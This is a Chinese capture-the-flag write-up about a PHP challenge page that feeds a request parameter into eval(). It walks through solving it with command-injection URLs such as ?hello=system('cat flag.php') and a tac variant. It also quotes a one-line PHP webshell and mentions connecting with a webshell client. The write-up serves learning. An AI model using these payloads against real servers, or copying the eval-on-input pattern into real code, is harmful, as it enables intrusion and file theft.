启动场景,打开网页,显示的是一段代码。
步骤一:
分析代码。
代码大概意思是:
<?php//包含"flag.php"的文件include "flag.php"; //获取网页请求的hello数据$a = @$_REQUEST['hello']; //显示变量a的详细信息,再将变量里的内容当代码运行 eval( "var_dump($a);"); //对文件进行 PHP 语法高亮显示 show_source(__FILE__);
?>
关于$ _request函数:
php中有$ _request与$ _post、$ _get用于接受表单数据。
$ _request与$ _post、$ _get的区别和特点
php中$ _request可以获取以POST方法和GET方法提交的数据,但是$ _request[]比较慢。通过post和get方法提交的所有数据都可以通过$ _REQUEST数组获得。
步骤二:
拼接网址传参。
我之前的方向错了,我总是想通过菜刀去连接。想着一句话木马:<?php eval(@$_POST['a']); ?> 上面已经给了我们eval,那是否拼接里面这一串 (@$_POST['a']); 就可以了?
于是我用菜刀去连接,但是无论怎么试,没没法查看里面的文件。
于是我换一个想法,拼接system函数。system是用来执行外部程序或命令的函数。
之前代码已经提示我们有一个flag.php的文件,那么是否查看他,就可以找到flag了?
于是我尝试用 117.72.52.127:10875/?hello=system(’cat flag.php‘)去请求,没有发现任何异常,点击右键查看源代码,发现flag在源代码中。
用 117.72.52.127:10875/?hello=system(’cat flag.php‘) 去请求后的网页显示:
用查看源代码可以看到flag。
或者直接用117.72.52.127:10875/?hello=system(’tac flag.php‘) 去请求。
一个小tip:
当用cat不会显示在网页上时,我们试试tac,一般就可以直接显示在网页上了。
其他探讨:
我有用117.72.52.127:10875/?hello=system(’cat flag.php‘);去请求,但是没有任何回显,为什么加了分号就不行了。不是php中一定要用分号结束语句吗?